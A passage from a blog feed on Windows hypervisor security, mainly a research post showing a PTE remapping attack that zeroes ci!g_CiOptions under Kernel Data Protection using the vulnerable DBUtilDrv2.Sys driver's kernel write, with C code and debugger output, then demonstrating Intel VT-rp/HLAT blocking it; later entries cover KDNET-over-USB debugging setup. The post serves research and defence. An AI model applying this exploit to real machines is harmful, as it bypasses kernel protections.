<h3 id="demo---making-cig_cioptions-zero-under-kdp">Demo - making <code class="language-plaintext highlighter-rouge">ci!g_CiOptions</code> zero under KDP</h3>

<p><em>(Skip this section if you have a good handle on the remapping attack)</em></p>

<p>Let us carry out the remapping attack and make <code class="language-plaintext highlighter-rouge">ci!g_CiOptions</code> zero. Here is the outline of the demo:</p>

<ol>
  <li>Locate a linear address, guest physical address, and a PTE for <code class="language-plaintext highlighter-rouge">ci!g_CiOptions</code></li>
  <li>Confirm that <code class="language-plaintext highlighter-rouge">ci!g_CiOptions</code> is non-zero</li>
  <li>Confirm that <code class="language-plaintext highlighter-rouge">ci!g_CiOptions</code> is read-only in EPT</li>
  <li>Find a page filled with zero</li>
  <li>Modify the PTE to translate the page into the zero-filled page</li>
  <li>Confirm that <code class="language-plaintext highlighter-rouge">ci!g_CiOptions</code> is zero</li>
</ol>

<p>We use <code class="language-plaintext highlighter-rouge">livekd</code> and <code class="language-plaintext highlighter-rouge">DBUtilDrv2.Sys</code>, one of the vulnerable drivers that are not yet block-listed, on Windows build 10.0.22621.1848 on a 12th gen processor. Secure boot is disabled. HVCI and hypervisor-debugging are enabled.</p>

<p><img src="/blog/img/posts/2023-07-05/msinfo32.png" alt="" /></p>

<ol>
  <li>
    <p>Locate a linear address, guest physical address of, and a PTE for <code class="language-plaintext highlighter-rouge">ci!g_CiOptions</code></p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> &gt; livekd
 kd&gt; !pte ci!g_cioptions
                                         VA fffff8024b082004
     (...)    PTE at FFFFEE7C01258410
     (...)    contains 890000011CEAA121
     (...)    pfn 11ceaa    -G--A--KR-V
</code></pre></div>    </div>
    <ul>
      <li>LA = <code class="language-plaintext highlighter-rouge">fffff8024b082004</code></li>
      <li>GPA = <code class="language-plaintext highlighter-rouge">11ceaa004</code></li>
      <li>PTE at <code class="language-plaintext highlighter-rouge">ffffee7c01258410</code></li>
    </ul>
  </li>
  <li>
    <p>Confirm that <code class="language-plaintext highlighter-rouge">ci!g_CiOptions</code> is non-zero</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> kd&gt; dd ci!g_cioptions l1
 fffff802`4b082004  0001c006

 kd&gt; !dd 11ceaa004 l1
 #11ceaa004 0001c006
</code></pre></div>    </div>
  </li>
  <li>
    <p>Confirm that <code class="language-plaintext highlighter-rouge">ci!g_CiOptions</code> is read-only in EPT</p>

    <p>We break into the target’s Hyper-V from another machine and dump EPT entries for the GPA using the <a href="https://github.com/tandasat/hvext">hvexts</a> extension.</p>
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> hv+0x239e70:
 fffff844`49cd9e70 cc              int     3
 hvext loaded. Execute !hvext_help [command] for help.

 kd&gt; !ept_pte 0x11ceaa000
     (...)    PTe at 0x11b49a550
     (...)    contains 0x1000011ceaa531
     (...)    pfn 0x11ceaa U---R
</code></pre></div>    </div>
    <p>Notice <code class="language-plaintext highlighter-rouge">U---R</code>, which indicates that the page is not writable at the EPT level.</p>
  </li>
  <li>
    <p>Find a page filled with zero</p>

    <p>In this demo, we use an existing zero-filled page as a new GPA of <code class="language-plaintext highlighter-rouge">ci!g_CiOptions</code>, instead of creating a copy as explained above. This is possible because our goal is simply to make the variable zero, and the page containing the variable has only a few other variables that are ok to become zero as well.</p>

    <p>We found <code class="language-plaintext highlighter-rouge">0x200000</code> was one of such zero-filled pages.</p>
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> kd&gt; !dd 200000
 #  200000 00000000 00000000 00000000 00000000
 #  200010 00000000 00000000 00000000 00000000
 ...
</code></pre></div>    </div>
  </li>
  <li>
    <p>Modify the PTE to translate the page into the zero-filled page</p>

    <p>We install <code class="language-plaintext highlighter-rouge">DBUtilDrv2.Sys</code> on the target and use its arbitrary kernel-mode write primitive to update the PTE to point to <code class="language-plaintext highlighter-rouge">0x200000</code>. I added the below code to <a href="https://github.com/worawit/malk">malk</a> for this.</p>
    <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="p">{</span>
     <span class="c1">// Hard-coded value taken from the previous step</span>
     <span class="n">ULONG64</span> <span class="n">cioptions_addr</span> <span class="o">=</span> <span class="mh">0xfffff8024b082004</span><span class="p">;</span>
     <span class="n">ULONG64</span> <span class="n">pte_addr</span> <span class="o">=</span> <span class="mh">0xffffee7c01258410</span><span class="p">;</span>
     <span class="n">ULONG64</span> <span class="n">new_pte_value</span> <span class="o">=</span> <span class="mh">0x8900000000200121</span><span class="p">;</span> <span class="c1">// pfn == 200000</span>

     <span class="c1">// Show the current ci!g_CiOptions value</span>
     <span class="n">UINT32</span> <span class="n">cioptions_value</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
     <span class="n">dbutil_read</span><span class="p">(</span><span class="n">hDevice</span><span class="p">,</span> <span class="n">cioptions_addr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">cioptions_value</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">cioptions_value</span><span class="p">));</span>
     <span class="n">printf</span><span class="p">(</span><span class="s">"ci!g_CiOptions:</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
     <span class="n">printf</span><span class="p">(</span><span class="s">"0x%llx  %08x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">cioptions_addr</span><span class="p">,</span> <span class="n">cioptions_value</span><span class="p">);</span>

     <span class="c1">// Change the value of PTE to point to the new GPA</span>
     <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">Remapping LA of ci!g_CiOptions</span><span class="se">\n\n</span><span class="s">"</span><span class="p">);</span>
     <span class="n">dbutil_write</span><span class="p">(</span><span class="n">hDevice</span><span class="p">,</span> <span class="n">pte_addr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">new_pte_value</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">new_pte_value</span><span class="p">));</span>

     <span class="c1">// Show the current ci!g_CiOptions value</span>
     <span class="n">cioptions_value</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
     <span class="n">dbutil_read</span><span class="p">(</span><span class="n">hDevice</span><span class="p">,</span> <span class="n">cioptions_addr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">cioptions_value</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">cioptions_value</span><span class="p">));</span>
     <span class="n">printf</span><span class="p">(</span><span class="s">"ci!g_CiOptions:</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
     <span class="n">printf</span><span class="p">(</span><span class="s">"0x%llx  %08x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">cioptions_addr</span><span class="p">,</span> <span class="n">cioptions_value</span><span class="p">);</span>
 <span class="p">}</span>
</code></pre></div>    </div>

    <p>Executing the above code shows <code class="language-plaintext highlighter-rouge">ci!g_CiOptions</code> became zero after remapping.</p>
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> ...
 ci!g_CiOptions:
 0xfffff8024b082004  0001c006

 Remapping LA of ci!g_CiOptions

 ci!g_CiOptions:
 0xfffff8024b082004  00000000
</code></pre></div>    </div>
  </li>
</ol>

<p>At this point, we effectively modified the contents of the variable that is supposed to be read-only with KDP.</p>

<p>Important to note that making <code class="language-plaintext highlighter-rouge">ci!g_CiOptions</code> zero under this setup (ie, HVCI enabled) does not let you load an unsigned driver. The secure kernel still performs its own certificate check, detects the issue, and bug checks the system (<a name="body1"><a href="#note1">*1</a></a>).</p>

<p>Instead, it is more interesting to think about new targets of this attack. For example, Windows maintains the bitmap that indicates valid destinations of indirect calls for kernel-mode Code Flow Guard (kCFG). For kCFG to be effective against kernel-mode exploits, this bitmap is write-protected through EPT. An attacker, however, might be able to remap the LA of the bitmap to a new GPA to make her shell-code valid destination. Another approach is replacing a sensitive function pointers as demonstrated in <a href="https://datafarm-cybersecurity.medium.com/code-execution-against-windows-hvci-f617570e9df0">Code Execution against Windows HVCI</a> by <a href="https://twitter.com/sleepya_">Worawit</a>.</p>

<p>Really, anything marked as read-only in EPT could be an interesting target of the remapping attack. On the above-mentioned Windows setup, <a href="https://gist.github.com/tandasat/a4092484c63b0390b45e93140f080795">there are several such regions</a>.</p>

<h2 id="intel-vt-redirect-protection-vt-rp">Intel VT Redirect Protection (VT-rp)</h2>

<p>Preventing the remapping attack without substantial performance impact is deemed unachievable. A hypervisor could make the guest paging structures read-only and inspect each write operation, but that incurs a non-negligible performance impact due to frequent VM-exit. Hence, Intel came up with a processor extension branded as Intel VP Redirect Protection (VT-rp).</p>

<p>Intel VT-rp was introduced with the 12th generation and consists of three features:</p>
<ul>
  <li>HLAT: Hypervisor-managed linear address translation</li>
  <li>PW: Paging-write</li>
  <li>GPV: Guest-paging verification</li>
</ul>

<p>Although all of the three work together, we will focus on HLAT in this post since it is the primary component to prevent the remapping attack. For the PW and GPV, read <a href="/blog/2023/07/31/intel-vt-rp-part-2.html">part 2</a>.</p>

<h3 id="hlat-and-the-remapping-attack">HLAT and the remapping attack</h3>

<p>In short, when HLAT is enabled, LA -&gt; GPA translation may be done based on the hypervisor-managed paging structures as depicted below.
<img src="/blog/img/posts/2023-07-05/hlat.png" alt="" /></p>

<p>Normally, when LA -&gt; GPA translation is needed, the processor reads CR3 and walks through the paging structures managed by the guest OS. On the other hand, when HLAT is enabled, the processor reads the HLATP (HLAT pointer) VMCS field and walks through another set of the paging structures managed by the hypervisor.</p>

<p>The below is a pseudo-code of how a processor translates LA -&gt; GPA -&gt; PA with and without HLAT.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Translate LA to PA with EPT
</span><span class="k">def</span> <span class="nf">translate_la_during_vmx_non_root</span><span class="p">(</span><span class="n">la</span><span class="p">):</span>
    <span class="n">gpa</span> <span class="o">=</span> <span class="n">translate_la</span><span class="p">(</span><span class="n">la</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">translate_gpa</span><span class="p">(</span><span class="n">gpa</span><span class="p">)</span>

<span class="c1"># Translate LA to GPA
</span><span class="k">def</span> <span class="nf">translate_la</span><span class="p">(</span><span class="n">la</span><span class="p">):</span>
    <span class="c1"># (1) Determine if HLAT paging should occur
</span>    <span class="k">if</span> <span class="n">should_do_hlat_paging</span><span class="p">(</span><span class="n">la</span><span class="p">):</span>
        <span class="c1"># (2) If so, use paging structures through HLATP VMCS
</span>        <span class="n">pml4</span> <span class="o">=</span> <span class="n">hlatp_vmcs</span><span class="p">()</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">pml4</span> <span class="o">=</span> <span class="n">guest_cr3_vmcs</span><span class="p">()</span>
    <span class="c1"># (3) Walk paging structures as usual
</span>    <span class="c1"># ...
</span>
<span class="c1"># Determine if HLAT paging should occur
</span><span class="k">def</span> <span class="nf">should_do_hlat_paging</span><span class="p">(</span><span class="n">la</span><span class="p">):</span>
    <span class="k">return</span> <span class="p">(</span>
        <span class="n">hlat_enabled</span> <span class="ow">and</span>
        <span class="n">is_in_range</span><span class="p">(</span><span class="n">la</span><span class="p">,</span> <span class="n">hlat_prefix_size_vmcs</span><span class="p">())</span>
    <span class="p">)</span>
</code></pre></div></div>
<p>Notice that (1) when HLAT is enabled and the given LA is within a range specified by the HLAT prefix size VMCS, (2) the processor locates PML4 through HLATP, instead of the guest CR3. (3) The layout of the hypervisor-managed paging structures and the process of HLAT paging is almost identical to the traditional paging structure and paging (<a name="body2"><a href="#note2">*2</a></a>).</p>

<p>This makes the remapping attack no-op, because even if the guest-managed paging structures (or the guest CR3) is modified, those will not be used. LA -&gt; GPA translation is done through the hypervisor-managed paging structures which remain to translate the LA to the intended GPA.</p>

<p><img src="/blog/img/posts/2023-07-05/hlat_vs_remapping.png" alt="" /></p>

<h3 id="demo---protecting-cig_cioptions-with-hlat">Demo - protecting <code class="language-plaintext highlighter-rouge">ci!g_CiOptions</code> with HLAT</h3>

<p>Let us test this with a <a href="https://github.com/tandasat/Hello-VT-rp/">custom hypervisor that enables HLAT</a>. The steps of the demo are as follows:</p>
<ol>
  <li>Load the custom hypervisor and boot Windows on top of it</li>
  <li>Locate a linear address and a PTE for <code class="language-plaintext highlighter-rouge">ci!g_CiOptions</code></li>
  <li>Activate HLAT and protect translation for <code class="language-plaintext highlighter-rouge">ci!g_CiOptions</code></li>
  <li>Carry out the remapping attack and confirm <code class="language-plaintext highlighter-rouge">ci!g_CiOptions</code> remains to be unchanged</li>
</ol>

<p>We use the same setup except:</p>
<ul>
  <li>Hyper-V is not activated. Our custom hypervisor puts Windows into the guest mode.</li>
  <li>Only one logical processor is activated. This is only to simplify the implementation of the custom hypervisor.</li>
</ul>

<ol>
  <li>
    <p>Load the custom hypervisor and boot Windows on top of it</p>

    <p>We boot into a UEFI shell, load the custom hypervisor and continue booting Windows. Windows will boot as a guest of our hypervisor.
 <img src="/blog/img/posts/2023-07-05/uefi_shell.jpg" alt="" /></p>
  </li>
  <li>
    <p>Locate a linear address and a PTE for <code class="language-plaintext highlighter-rouge">ci!g_CiOptions</code></p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> &gt; livekd
 kd&gt; !pte ci!g_cioptions
                                         VA fffff80227dd2004
     (...)    PTE at FFFFF9FC0113EE90
     (...)    contains 89000004879D5963
     (...)    pfn 4879d5    -G-DA--KW-V
</code></pre></div>    </div>
    <ul>
      <li>LA = <code class="language-plaintext highlighter-rouge">fffff80227dd2004</code></li>
      <li>PTE at <code class="language-plaintext highlighter-rouge">fffff9fc0113ee90</code></li>
    </ul>
  </li>
  <li>
    <p>Activate HLAT and protect translation for <code class="language-plaintext highlighter-rouge">ci!g_CiOptions</code></p>

    <p>We use the <code class="language-plaintext highlighter-rouge">client</code> executable in the same repository to protect a linear address with HLAT via hypercall <code class="language-plaintext highlighter-rouge">0</code>.</p>
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> &gt; D:\client.exe 0 0xfffff80227dd2004
</code></pre></div>    </div>
    <p>In our implementation, the hypervisor builds hypervisor-managed paging structures by copying the current guest-managed paging structures (which are not yet tampered with).</p>
  </li>
  <li>
    <p>Carry out the remapping attack and confirm <code class="language-plaintext highlighter-rouge">ci!g_CiOptions</code> remains to be unchanged</p>

    <p>We perform the same operation as the previous demo.</p>
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> ...
 ci!g_CiOptions:
 0xfffff80227dd2004  00000006

 Remapping LA of ci!g_CiOptions

 ci!g_CiOptions:
 0xfffff80227dd2004  00000006
</code></pre></div>    </div>

    <p>Notice that the write operation was successful, but the value of <code class="language-plaintext highlighter-rouge">ci!g_CiOptions</code> was unchanged. This is because HLAT paging is active for this LA, and the hypervisor-managed paging structure was used instead of the tampered guest-managed paging structure. This way, the hypervisor can enforce LA -&gt; GPA translation without having to intercept write operations against the guest paging structures.</p>
  </li>
</ol>

<p><img src="/blog/img/posts/2023-07-05/totally_vpro.jpg" alt="" />
<em>(Protection in place)</em></p>

<h3 id="availability">Availability</h3>

<p>Intel VT-rp is available in a subset of 12th+ generation Intel processors. You can check the availability of the feature on the Intel spec pages. For example with Core i7-1265U, <a href="https://www.intel.ca/content/www/ca/en/products/sku/226258/intel-core-i71265u-processor-12m-cache-up-to-4-80-ghz/specifications.html">the specification page</a> shows VT-rp is available.</p>

<p><img src="/blog/img/posts/2023-07-05/spec_vtrp.png" alt="" /></p>

<p>As to the software-side, as far as I am know, none of major hypervisors including Microsoft Hyper-V makes use of VT-rp yet (<a name="body3"><a href="#note3">*3</a></a>).</p>

<p>No equivalent feature is available on AMD processors.</p>

<h2 id="conclusion">Conclusion</h2>

<p>In this post, we looked into how EPT can be used to harden the OS kernel against attackers with arbitrary kernel-mode read write primitives, how the remapping attack bypasses one of such hardening mechanisms (eg, KDP), and how HLAT, one of the features Intel VT-rp offers, prevents the attack.</p>

<p>Intel VT-rp is available on a subset of 12th+ gen Intel processors and is still not used by any major hypervisors.</p>

<p>Until HLAT is used and hardware supporting the feature becomes prevalent, the remapping attack will remain to be a relevant exploitation technique. Security software designers and attackers should keep it in mind when considering the use of EPT-based data protection.</p>

<h3 id="acknowledgement">Acknowledgement</h3>

<ul>
  <li><a href="https://twitter.com/aall86">Andrea Allievi</a> for <a href="https://www.andrea-allievi.com/blog/alder-lake-and-the-new-intel-features/">Alder Lake and the new Intel Features</a>, as well as answering a few questions.</li>
  <li><a href="https://twitter.com/kmgkv1">Kunal Mehta</a> for providing feedback on the draft and correcting my misunderstanding.</li>
  <li><a href="https://twitter.com/33y0re">Connor McGarr</a> for <a href="https://connormcgarr.github.io/hvci/">Exploit Development: No Code Execution? No Problem! Living The Age of VBS, HVCI, and Kernel CFG</a>. This helped me catch up recent kernel-exploitation techniques.</li>
</ul>

<h3 id="notes">Notes</h3>

<p><a name="note1">*1</a> (<a href="#body1">🔙</a>): If you tamper with <code class="language-plaintext highlighter-rouge">ci.dll</code> in the VTL0 and force it to load an unsigned driver, the secure kernel injects NMI and crashes the system. This is the call stack of that situation.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0: kd&gt; k
 # Child-SP          RetAddr               Call Site
00 fffff802`3ab24ca8 fffff802`36d63461     nt!KeBugCheckEx
01 fffff802`3ab24cb0 fffff802`36cba5b4     nt!HvlSkCrashdumpCallbackRoutine+0x81
02 fffff802`3ab24cf0 fffff802`36c39d42     nt!KiProcessNMI+0x1ea2f4
03 fffff802`3ab24d30 fffff802`36c39aae     nt!KxNmiInterrupt+0x82
04 fffff802`3ab24e70 fffff802`352b001c     nt!KiNmiInterrupt+0x26e
05 fffff989`6f8af108 fffff802`36c282eb     0xfffff802`352b001c
06 fffff989`6f8af110 fffff802`36b3854d     nt!HvlSwitchToVsmVtl1+0xab
07 fffff989`6f8af250 fffff802`37038fd9     nt!VslpEnterIumSecureMode+0x161
08 fffff989`6f8af320 fffff802`37038f38     nt!VslCompleteSecureDriverLoad+0x6d
09 fffff989`6f8af3d0 fffff802`3711e16e     nt!MiCompleteSecureDriverLoad+0x78
0a fffff989`6f8af480 fffff802`36cce045     nt!MiMarkKernelImageCfgBits+0x13e07e
0b fffff989`6f8af560 fffff802`36f7f026     nt!MiProcessKernelCfgImage+0x1ba3e5
0c fffff989`6f8af590 fffff802`36f7e5b9     nt!MiFinalizeDriverCfgState+0xe
0d fffff989`6f8af5c0 fffff802`36f7e0be     nt!MmLoadSystemImageEx+0x4e5
0e fffff989`6f8af770 fffff802`36f82547     nt!MmLoadSystemImage+0x2e
0f fffff989`6f8af7c0 fffff802`36fc44b7     nt!IopLoadDriver+0x24b
</code></pre></div></div>

<p><a name="note2">*2</a> (<a href="#body2">🔙</a>): The only difference between traditional paging and HLAT paging is the treatment of bit[11] in the paging structures called “Restart” bit. During HLAT paging, when this bit is encountered, HLAT paging is aborted and the traditional paging takes place as if HLAT was disabled. This allows enabling HLAT paging only for select pages as shown below.
<img src="/blog/img/posts/2023-07-05/restart.png" alt="" /></p>

<p><a name="note3">*3</a> (<a href="#body3">🔙</a>): Code to set the HALTP VMCS exists in Microsoft Hyper-V but is not exercised. <a href="#acknowledgement">Andrea Allievi noted in his blog</a> and told me that Microsoft has been actively working on integrating VT-rp.</p>

<hr />

<p><em>Found this post interesting? We offer a training course about the Intel virtualization technology. <a href="https://tandasat.github.io/">Check out the course syllabus</a>.</em></p>]]></content><author><name></name></author><summary type="html"><![CDATA[EPT-based security and an attack against it Bypassing KDP with the remapping attack Demo - making ci!g_CiOptions zero under KDP Intel VT Redirect Protection (VT-rp) HLAT and the remapping attack Demo - protecting ci!g_CiOptions with HLAT Availability Conclusion Acknowledgement Notes]]></summary></entry><entry><title type="html">Setting up KDNET over USB EEM for Bootloader and Hyper-V debugging</title><link href="/blog/windows/2023/03/21/setting-up-kdnet-over-usb-eem-for-bootloader-and-hyper-v-debugging.html" rel="alternate" type="text/html" title="Setting up KDNET over USB EEM for Bootloader and Hyper-V debugging" /><published>2023-03-21T00:10:30+00:00</published><updated>2023-03-21T00:10:30+00:00</updated><id>/blog/windows/2023/03/21/setting-up-kdnet-over-usb-eem-for-bootloader-and%20hyper-v-debugging</id><content type="html" xml:base="/blog/windows/2023/03/21/setting-up-kdnet-over-usb-eem-for-bootloader-and-hyper-v-debugging.html"><![CDATA[<p>This post notes how to enable a debugger for winload, tcblaunch and Hyper-V on a physical device over USB EEM. This instruction may be helpful when a target device cannot be debugged with any of other debugging interfaces like traditional KDNET and USB3.</p>

<p><img src="/blog/img/posts/2023-03-20/debugging.jpg" alt="" /></p>

<h2 id="no-usb3-or-kdnet-working">No USB3 or KDNET working</h2>
<p>I bought a Dell Latitude 7330 2-in-1 which supported various security features like PPAM and DRTM and wanted to debug interaction between Windows and relevant components.</p>

<p>As I used to for physical device debugging, I attempted to set up kernel debugging over USB3. Despite the USB ports being debug-capable according to USBView, it was not successful.</p>

<p><img src="/blog/img/posts/2023-03-20/debug_capable.png" alt="" /></p>

<p>I tried various combinations of USB C-&gt;C, C-&gt;A, A-&gt;C, A-&gt;A, using different hosts and different cables (including USB 2.0), and none worked. I was unable to see <code class="language-plaintext highlighter-rouge">USB Debug Connection Device</code> showing up even once. KDNET was unsupported based on KDNET.exe</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt;kdnet.exe

Network debugging is not supported on any of the NICs in this machine.
KDNET supports NICs from Intel, Broadcom, Realtek, Atheros, Emulex, Mellanox
and Cisco.
...
</code></pre></div></div>

<h2 id="usb-eem-debugging">USB EEM debugging</h2>
<p>I moved onto USB EEM (Ethernet Emulation Model) debugging without much hope. While I had some success with it for Windows on ARM devices in the past, <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/setting-up-kernel-mode-debugging-over-usb-eem-arm-kdnet">the MSDN document</a> was specifically for an ARM device and my target was an Intel device. As expected, I could not make it work.</p>

<p>After asking several people, <a href="https://twitter.com/KelvinMsft">@KelvinMsft</a> told me that USB EEM was what he used for x64 debugging as well. He was kind enough to walk though with me, and after some try and errors, boom💥, I was able to break-in to the target.</p>

<p>This is roughly our decision-making tree:</p>

<ul>
  <li>Is there a debug-capable USB port exposed?
    <ul>
      <li>Y: Run KDNET.exe. Is KDNET supported on any of NICs?
        <ul>
          <li>Y: Try KDNET.</li>
          <li>N: Is Windows 10 or earlier?
            <ul>
              <li>Y: Try upgrading it to Windows 11. Windows 11 supports more NICs.</li>
              <li>N: Run KDNET.exe. Is KDNET supported on any of USB controllers?
                <ul>
                  <li>Y: Try KD over USB EEM</li>
                  <li>N: Look into other unorthodox debugging.</li>
                </ul>
              </li>
            </ul>
          </li>
        </ul>
      </li>
      <li>N: Look into other unorthodox debugging.</li>
    </ul>
  </li>
</ul>

<p>Dell Latitude 7330 2-in-1’s USB controllers did support KDNET:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt;kdnet.exe
...
Network debugging is supported on the following USB controllers:
busparams=0.13.0, Intel(R) USB 3.20 eXtensible Host Controller - 1.20 (Microsoft)
busparams=0.20.0, Intel(R) USB 3.10 eXtensible Host Controller - 1.20 (Microsoft)
...
</code></pre></div></div>

<p>After double checking which USB controller corresponded to exposed USB ports, those were the <code class="language-plaintext highlighter-rouge">bcdedit</code> commands I ran for KDNET over USB EEM:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt;bcdedit /dbgsettings net key:1.1.1.1 hostip:169.254.255.255 port:52000 busparams:0.20.0
&gt;bcdedit /set {dbgsettings} dhcp no
&gt;bcdedit /set loadoptions EEM
&gt;bcdedit /set debug on

&gt;bcdedit /dbgsettings
busparams               0.20.0
key                     1.1.1.1
debugtype               NET
hostip                  169.254.255.255
port                    52000
dhcp                    No
isolatedcontext         Yes
</code></pre></div></div>
<p>Then, made sure:</p>
<ul>
  <li><del>Firewall on the host was completely disabled (it can be re-enabled later with exception rules once setup is confirmed).</del></li>
  <li>Both the host and target were connected through USB-A ports.
    <ul>
      <li>On the host, it was fine to use a C-to-A multi-function adapter.</li>
    </ul>
  </li>
  <li>BitLocker was disabled. Not sure if this was required, but probably wise to do so anyway.</li>
</ul>

<p>As far as I tested, it does not need a special USB cable. I was able to establish connection with both <a href="https://www.datapro.net/products/usb-3-0-super-speed-a-a-debugging-cable.html">a Datapro debugging cable</a> and <a href="https://www.amazon.com/SIIG-SuperSpeed-Cable-Meters-CB-US0212-S1/dp/B0032ANCBO">a regular cable</a>.</p>

<h2 id="winload-and-tcblaunch-debugging">Winload and tcblaunch debugging</h2>
<p>Once kernel debugging is configured, simply enabling <code class="language-plaintext highlighter-rouge">bootdebug</code> lets the debugger break-in to Winload.exe and tcblaunch.exe at their startup.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt;bcdedit /set debug off
&gt;bcdedit /set hypervisordebug off

&gt;bcdedit /set bootdebug on
</code></pre></div></div>

<p><img src="/blog/img/posts/2023-03-20/winload.png" alt="" />
<img src="/blog/img/posts/2023-03-20/tcblaunch.png" alt="" /></p>

<h2 id="hyper-v-debugging">Hyper-V debugging</h2>
<p>Again, once kernel-debugging is configured, simply enabling <code class="language-plaintext highlighter-rouge">hypervisordebug</code> with equivalent KDNET settings lets the debugger break-in to the Hyper-V.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt;bcdedit /set debug off
&gt;bcdedit /set bootdebug off

&gt;bcdedit /hypervisorsettings net key:1.1.1.1 hostip:169.254.255.255 port:52000 busparams:0.20.0
&gt;bcdedit /set {hypervisorsettings} hypervisordhcp no
&gt;bcdedit /set hypervisordebug on

&gt;bcdedit /hypervisorsettings
isolatedcontext         Yes
hypervisorbusparams     0.20.0
hypervisorusekey        1.1.1.1
hypervisordebugtype     NET
hypervisorhostip        169.254.255.255
hypervisorhostport      52000
hypervisordhcp          No
</code></pre></div></div>

<p><img src="/blog/img/posts/2023-03-20/hyper-v.png" alt="" /></p>

<p>That’s it! I hope this note will help myself in the future and some others.</p>]]></content><author><name></name></author><category term="windows" /><summary type="html"><![CDATA[This post notes how to enable a debugger for winload, tcblaunch and Hyper-V on a physical device over USB EEM. This instruction may be helpful when a target device cannot be debugged with any of other debugging interfaces like traditional KDNET and USB3.]]></summary></entry><entry><title type="html">New blog!</title><link href="/blog/2023/03/19/new-blog.html" rel="alternate" type="text/html" title="New blog!" /><published>2023-03-19T00:00:00+00:00</published><updated>2023-03-19T00:00:00+00:00</updated><id>/blog/2023/03/19/new-blog</id><content type="html" xml:base="/blog/2023/03/19/new-blog.html"><![CDATA[<p>We migrated from <a href="https://standa-note.blogspot.com/">standa-note.blogspot.com</a>!</p>]]></content><author><name></name></author><summary type="html"><![CDATA[We migrated from standa-note.blogspot.com!]]></summary></entry></feed>